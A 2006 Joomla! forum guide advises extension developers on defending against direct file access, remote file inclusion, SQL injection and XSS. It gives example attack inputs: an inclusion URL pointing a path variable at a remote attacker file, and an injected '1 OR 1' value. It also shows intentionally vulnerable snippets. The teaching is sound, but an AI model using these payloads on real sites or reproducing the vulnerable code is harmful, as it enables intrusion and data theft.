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Guide to more secure Components/Modules/Plugins...

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friesengeist Post subject: Guide to more secure Components/Modules/Plugins... Posted: Fri Jul 21, 2006 4:21 am

Joomla! Guru
Intro: Guide to more secure Components/Modules/Plugins...
Are you a third party developer for Joomla! addons? Do you publish your programs on the Joomla! forge or on your website?
Well, thank you for doing that, the community probably loves you for sharing your work!

Joined: Sat Sep 10, 2005 10:31 However, there are a few things in terms of security that you should be aware of. Just having a component that runs fine on
pm your computer is usually not enough! You need to take care of security, because otherwise your programm could easily ruin
Posts: 823
the websites of your customers.

So, lets just jump right into it. These are the topics I will deal with in this guide:
• 1. Secure your software against direct access
• 2. Secure your software against remote file inclusion
• 3. Secure your software against SQL injections
• 4. Secure your software against XSS scripting
• 5. Make sure your software does not need register_globals
• 6. Check access privileges of users
• 7. How to achieve raw component output (for pictures, RSS-feeds etc.)
• 8. Various things to be aware of
Please note that when I refer to components, I also mean modules, plugins (formerly mambots) and templates as well. All code
examples in this guide are written for Joomla! 1.0.x.

1. Secure your software against direct access

The files of your component will usually be called by Joomla!. Joomla! is a wrapper around your software, it provides many
usefull features like user authentication and so on. Since developers usually test their components only through Joomla!, they
tend to forget about the possibility of calling files directly. Instead of calling your component by

Quote:

http:/ /www.example.com/index.php?option=com_yourcomponent

crackers also might try to use

Quote:

http:/ /www.example.com/components/com_yourcomponent/yourcomponent.php

As you can see, the PHP file will be executed directly, without Joomla! as a wrapper around it. Now, if your file only contains
some classes or functions, but does not execute any code, there is nothing wrong about that:

Code:

<?php
class myClass {
[SomeFunctionsHere]
}
function myFunction() {
[SomeCodeHere]

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}
?>

The cracker would just see an empty page when accessing your file directly. But if that PHP file actually executes anything, he
would probably see a bunch of error messages, revealing important details of your system. Under some circumstances, he
might also be able to execute any code he wants to, on your system!

Conclusion:
To make your component secure against direct access, insert this code line into the beginning of every PHP file that executes
code:

Code:

defined( '_VALID_MOS' ) or die( 'Restricted access' );

This is a MUST for every file that executes PHP code. If you are in doubt whether your file executes code, do use this line!

2. Secure your software against remote file inclusion

Now imagine, you have a line like this one in your code:

Code:

include( $mosConfig_absolute_path . '/components/com_yourcomponent/yourcomponent.class.php' );

Furthermore, imagine that a cracker tries to access your file as

Quote:

http:/ /www.example.com/components/com_yourcomponent/yourcomponent.php?
mosConfig_absolute_path=http://www.bad.site/bad.gif?

and actually sends back executable PHP code under the filename of that image. That code then is executed (assuming that
register_globals is switched on in your webserver, which unfortunaltely is the case for many people) in your or your customers
webserver with the permissions of the webserver. The attacker can do anything he wants to do (and what the webserver is
allowed for) on your webserver! This is called remote file inclusion. Unfortunately, this is something even script kiddies can do
easily.
There are also some more advanced technics out there that allow for remote file inclusion in some PHP versions even if you
have switched register_globals off. Remote file inclusion only works on systems that have the PHP setting allow_url_fopen
switched to on. But as this option is needed by many "good" programs as well, switching it off is not always a good idea.

Conclusion:
To secure your code against remote file inclusion, you need to make sure no unvalidated input is used when including files. At
first, apply the solution from part 1 of this guide. Secondly, be very carefull with all calls to functions dealing with the file
system, especially e.g. include, require, include_once, require_once, fopen. If you really need to include files with variable
names, make sure to validate all these variables.

A good practice to include files is using constants [2.2]:

Code:

define( 'YOURBASEPATH', dirname(__FILE__) );

require_once( YOURBASEPATH . '/file_to_include.php' );

As this uses no variables at all, there is no chance for a cracker to open files from remote servers.

3. Secure your software against SQL injections

SQL injections make it possible for attackers to modify certain unsafe SQL queries, your script executes, in such a way that it
could alter data in your database or give out sensible data to the attacker. That is because of unvalidated user input.

Take a look at this code:

Code:

$value = $_GET['value'];
$database->setQuery( "SELECT * FROM #__mytable WHERE id = $value" );

An attacker could hand over a string like '1 OR 1', the query results in "SELECT * FROM #__mytable WHERE id = 1 OR 1",
thus returning all rows from jos_mytable. I'm not going more into detail here, as SQL injections are covered quite good on the
web. Please take a look at the resources listed at the bottom of this post.

Conclusion:
Validate all user input before you use it in a SQL query. Apply

Code:

$string = $database->getEscaped( $string );

to all strings that will be used in SQL queries, and apply

Code:

$value = intval( $value );

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to all integer numbers you use in SQL queries.

Again, for more information on SQL injections, please take a look at the listed resources, especially [3.2].

Also, make sure to use mosGetParam() [5.5] for retrieving user input from the request, e.g.:

Code:

$value = mosGetParam( $_POST, 'value' );

$value = mosGetParam( $_POST, 'value', 'default' ); // This will return 'default' when $_POST['value'] is
not set.

4. Secure your software against XSS

Cross Site Scripting (XSS) means executing script code (e.g. JavaScript) in a visitors browser. Be carefull not to echo out any
unvalidated input to a user. Code like this is dangerous for your visitors:

Code:

echo $_REQUEST['value'];

Conclusion:
Use mosGetParam() [5.5] for retrieving user input from a request, it does strip out a pretty good amount of insecure stuff. But
don't rely on it, also take a good look at places where you echo out things to the webbrowser. Apply

Code:

$value = htmlspecialchars( $value );

to strings before you echo them out to the browser.

5. Make sure your software does not need register_globals

Up to now, there are many programs that rely on register_globals being set to ON. PHP then imports all $_GET, $_POST,
$_COOKIE data and some other variables into the global scope. When people program things correctly, there is not
neccessarily anything wrong about it. But unfortunaltely there are very many programs out there using global variables in an
insecure way. This might open up serious security holes. Therefore, users are advised to switch off register_globals, and more
and more hosting companies do so for security reasons.

You should never use any uninstantiated variables. Make sure to properly fill each variable before using it. To check whether
your component is capable of running without register_globals, you should do the following:
• Enable error reporting in PHP to see notices. This will give you some hints on which variables are used without prior
initialization.
• Set register_globals to off in your php.ini.
• Set RG_EMULATION to 0 in globals.php in your Joomla! root folder.

Also, it is a bad practice to access variables like this (read resource [5.4] for more technical details):

Code:

echo $GLOBALS['varname'];

You should rather use this:

Code:

global $varname;
echo $varname;

6. Check access privileges of users

When giving access to certain components (or to certain database table rows) you might want to make sure that only
registered or special users can access it. I'm not going into any ACL related issues here, I rather want to give you a short
overview on how to distinguish guest, registered (and logged in) users, and special users (by default all users below
Registered, meaning Authors, Publishers etc.).

Joomla! provides (again, only in in 1.0.x) the $my object which holds information about the current user. These are the settings
for the different access types (only applies to the frontend):
• $my->gid = 0 ==> the user is not logged in
• $my->gid = 1 ==> the user is a registered user
• $my->gid = 2 ==> the user is a special user

Conclusion:
You can check these values to block access to certain parts of your component.

Also, make sure not to present any information to a user he does not have access to. A simple SQL query that takes into
account the permissions of the category for a certain databse entry (assuming your data is sorted into categories) might look
like this:

Code:

SELECT * FROM #__contact_details AS c

LEFT JOIN #__categories AS cat ON cat.id = c.catid

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WHERE ( c.name LIKE '%$text%' )

AND c.published = 1
AND cat.published = 1
AND c.access <= $my->gid
AND cat.access <= $my->gid

Note that both the contact details and the category are checked for being published and for being within the users access level.

7. How to achieve raw component output (for pictures, RSS-feeds etc.)

In some cases, users need to send out raw data (no Joomla! template around it) to the browser, for example binary pictures or
XML data for RSS feeds. Developers tend to write their own entry point PHP files, but this should only be a last resort. It is
better to let Joomla! handle things.

Conclusion:
You should add a new function to your component (and to the switch statement that handles the selected $task). Then, call
your component like this:

Quote:

http:/ /www.example.com/index2.php?option=com_yourcomponent&task=your_task&no_html=1

If you really need to provide an entry point – a file that might be called directly – make sure to take care of part 2 of this guide.
Secondly, the first thing you should do in your code is to include Joomla!'s globals.php (and if needed, Joomla!'s
configuration.php).

Code:

define( 'YOURBASEPATH', dirname(__FILE__) );

require_once( YOURBASEPATH . '/../../globals.php' );
require_once( YOURBASEPATH . '/../../configuration.php' );

Again, you are advised to not provide your own entry point, and if you do, be very carefull with it.

8. Various things to be aware of

There are some more things you should not do, and also some functions you should not use at all.
• Don't use eval(). eval() is evil!
• Don't use the backtick operator [8.2], exec, shell_exec, system, popen and such functions
• Don't automatically send out an email to you whenever your component becomes installed somewhere. This will give
you a bad reputation!

Resources
1. Secure your software against direct access
• [1.1] http://dev.joomla.org/index.php?option= ... _execution

2. Secure your software against remote file inclusion

• [2.1] http://www.owasp.org/index.php/PHP_Top_ ... _Execution
• [2.2] http://dev.joomla.org/index.php?option= ... _constants For Joomla! 1.5

3. Secure your software against SQL injections

• [3.1] http://en.wikipedia.org/wiki/Sql_injection
• [3.2] http://php.net/manual/en/security.datab ... ection.php
• [3.3] http://www.owasp.org/index.php/PHP_Top_ ... _Injection
• There are also many good links within [3.1] and [3.3].

4. Secure your software against XSS scripting

• [4.1] http://en.wikipedia.org/wiki/XSS
• [4.2] http://www.owasp.org/index.php/Cross_Site_Scripting
• [4.3] http://www.owasp.org/index.php/PHP_Top_ ... _scripting
• [4.4] http://php.net/manual/en/function.htmlspecialchars.php

5. Make sure your software does not need register_globals

• [5.1] http://php.net/manual/en/function.error-reporting.php Make sure your level for error_reporting includes E_NOTICE
• [5.2] http://php.net/manual/en/ini.core.php#i ... er-globals
• [5.3] http://php.net/manual/en/language.varia ... efined.php
• [5.4] http://www.hardened-php.net/index.76.html
• [5.5] http://forum.joomla.org/index.php/topic,15691.0.html

6. Check access privileges of users

• No resources so far.

7. How to achieve raw component output (for pictures, RSS-feeds etc.)

• No resources so far.

8. Various things to be aware of

• [8.1] http://www.owasp.org/index.php/PHP_Top_ ... Vulnerable
• [8.2] http://php.net/manual/en/language.opera ... cution.php

_________________
We may not be able to control the wind, but we can always adjust our sails

Last edited by friesengeist on Fri Jul 21, 2006 8:55 pm, edited 1 time in total.

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Top

friesengeist Post subject: Re: Guide to more secure Components/Modules/Plugins... Posted: Fri Jul 21, 2006 4:22 am

Joomla! Guru Hi everybody,

as lately many people were asking to put up some security guidelines for 3PD developers, I decided to go ahead and write
down all the stuff I know off. My last post is probably not complete nor free of mistakes (grammar, typos and technical ), but
Joined: Sat Sep 10, 2005 10:31 hopefully it can be used as a starting point.
pm
Posts: 823
I hope you will find some of the parts usefull and accurate. On the other hand, there might be things that are completely
missing, or areas that need to be rewritten to make them more understandable. I would like to ask you for help on doing this.

As soon as we have a pretty "stable" version I'm going to update the development wiki accordingly (with code examples for 1.5,
of course ).

Any input - from developers and non-developers as well - is highly appreciated.

Discuss here: http://forum.joomla.org/index.php/topic,78784.0.html

Thanks in advance,
Enno

_________________
We may not be able to control the wind, but we can always adjust our sails

Last edited by brad on Fri Jul 21, 2006 4:30 am, edited 1 time in total.

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